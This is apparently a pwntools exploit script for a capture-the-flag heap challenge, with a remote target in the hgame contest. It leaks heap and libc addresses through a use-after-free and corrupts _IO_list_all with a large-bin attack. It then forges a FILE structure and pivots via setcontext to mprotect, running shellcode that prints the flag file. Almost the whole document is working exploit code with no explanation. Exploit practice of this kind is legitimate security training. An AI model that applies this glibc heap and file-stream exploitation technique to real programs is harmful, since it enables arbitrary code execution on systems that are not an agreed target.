1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194
| from pwn import *
context.arch = 'amd64' context.log_level = 'debug'
fn = './vuln' elf = ELF(fn)
libc = elf.libc
debug = 0 if debug: p = remote('week-4.hgame.lwsec.cn', 30776) else: p = process(fn)
malloc_hook, free_hook = 0, 0 system, execve, binsh = 0, 0, 0 setcontext, mprotect = 0, 0 _open, read, write = 0, 0, 0 _IO_list_all, _IO_stdfile_2_lock, _IO_wide_data_1 = 0, 0, 0 _IO_file_jumps, _IO_wfile_jumps, _IO_cookie_jumps, _IO_obstack_jumps = 0, 0, 0, 0 _IO_wfile_jumps_mmap = 0
def get_gadgets(libc_base): global malloc_hook, free_hook, binsh, system, execve, setcontext, _open, read, write, mprotect global _IO_list_all, _IO_stdfile_2_lock, _IO_wide_data_1 global _IO_file_jumps, _IO_wfile_jumps, _IO_cookie_jumps, _IO_obstack_jumps, _IO_wfile_jumps_mmap
free_hook = libc_base + libc.sym['__free_hook'] malloc_hook = libc_base + libc.sym['__malloc_hook'] binsh = libc_base + libc.search(b'/bin/sh').__next__() system = libc_base + libc.sym['system'] execve = libc_base + libc.sym['execve'] setcontext = libc_base + libc.sym['setcontext'] mprotect = libc_base + libc.sym['mprotect'] _open = libc_base + libc.sym['open'] read = libc_base + libc.sym['read'] write = libc_base + libc.sym['write'] _IO_list_all = libc_base + libc.sym['_IO_list_all'] _IO_stdfile_2_lock = libc_base + 0x1f8a20 _IO_wide_data_1 = libc_base + 0x1f69a0 _IO_file_jumps = libc_base _IO_wfile_jumps = libc_base + 0x1f3240 _IO_wfile_jumps_mmap = libc_base _IO_obstack_jumps = libc_base _IO_cookie_jumps = libc_base
log.success('libc_base: ' + hex(libc_base)) log.success('malloc_hook: ' + hex(malloc_hook)) log.success('free_hook: ' + hex(free_hook)) log.success('system: ' + hex(system)) log.success('execve: ' + hex(execve)) log.success('setcontext: ' + hex(setcontext)) log.success('mprotect: ' + hex(mprotect)) log.success('IO_llist_all: ' + hex(_IO_list_all))
lg = lambda x, y: log.success(f'{x}: {hex(y)}')
sd = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y)
rv = lambda x: p.recv(x) ru = lambda x: p.recvuntil(x) rt = lambda x: p.can_recv_raw(timeout=x)
def menu(index): p.sendlineafter('>', str(index))
def add(index, size): menu(1) p.sendlineafter('Index: ', str(index)) p.sendlineafter('Size: ', str(size))
def show(index): menu(4) p.sendlineafter('Index: ', str(index))
def edit(index, content): menu(3) p.sendlineafter('Index: ', str(index)) p.sendlineafter('Content: ', content)
def delete(index): menu(2) p.sendlineafter('Index: ', str(index))
def _exit(): menu(5)
add(0, 0x520) add(1, 0x520) add(2, 0x510) add(3, 0x500)
delete(0) delete(2)
show(2) heap = u64(rv(6).ljust(8, b'\x00')) - 0x290 lg('heap', heap)
show(0) leak = u64(ru('\x7f')[-6:].ljust(8, b'\x00')) lg('leak', leak) libc_base = leak - 0x1f6cc0 - 0x20
get_gadgets(libc_base)
pop_rdi_ret = libc_base + 0x00000000000240e5 pop_rsi_ret = libc_base + 0x000000000002573e pop_rdx_ret = libc_base + 0x0000000000026302 pop_rax_ret = libc_base + 0x0000000000040123 syscall_ret = libc_base + 0x000000000008b966 ret = pop_rdi_ret + 1
add(4, 0x510)
payload = p64(libc_base + 0x1f7100) * 2 + p64(heap + 0x290) + p64(_IO_list_all - 0x20) edit(0, payload)
delete(4) add(5, 0x540)
edit(1, payload)
fake_IO_file_addr = heap + 0xcf0 fake_ucontext_addr = fake_IO_file_addr + 0x100
fake_IO_file = p64(0xffffffffffffffff) fake_IO_file += p64(0) * 2 + p64(1) fake_IO_file = fake_IO_file.ljust(0x30, b'\x00') fake_IO_file += p64(fake_IO_file_addr + 0x100) fake_IO_file = fake_IO_file.ljust(0x88, b'\x00') fake_IO_file += p64(fake_IO_file_addr + 0x40) fake_IO_file += p64(_IO_wide_data_1) fake_IO_file = fake_IO_file.ljust(0xc8, b'\x00') fake_IO_file += p64(_IO_wfile_jumps + 0x8) fake_IO_file = fake_IO_file.ljust(0xf0, b'\x00') fake_IO_file += p64(0) fake_IO_file += p64(0) * 4 fake_IO_file += p64(setcontext)
rdi = fake_ucontext_addr & ~0xfff rsi = 0x1000 rbp = fake_ucontext_addr + 0x100 rbx = 0 rdx = 7 rcx = 0 rax = 0 rsp = fake_ucontext_addr + 0x100 rip = mprotect
ucontext = b'' ucontext += p64(0) * 7 ucontext += p64(rdi) + p64(rsi) ucontext += p64(rbp) + p64(rbx) ucontext += p64(rdx) + p64(rcx) ucontext += p64(rax) ucontext += p64(rsp) + p64(rip) ucontext = ucontext.ljust((0xe0 - 0x30), b'\x00') ucontext += p64(heap + 0x1000) ucontext = ucontext.ljust((0x100 - 0x30), b'\x00')
shellcode = p64(fake_ucontext_addr + 0x110) + p64(0) + asm(shellcraft.cat('flag'))
payload = fake_IO_file + ucontext + bytes(shellcode)
edit(2, payload)
gdb.attach(p, 'b setcontext') pause()
_exit()
p.interactive()
|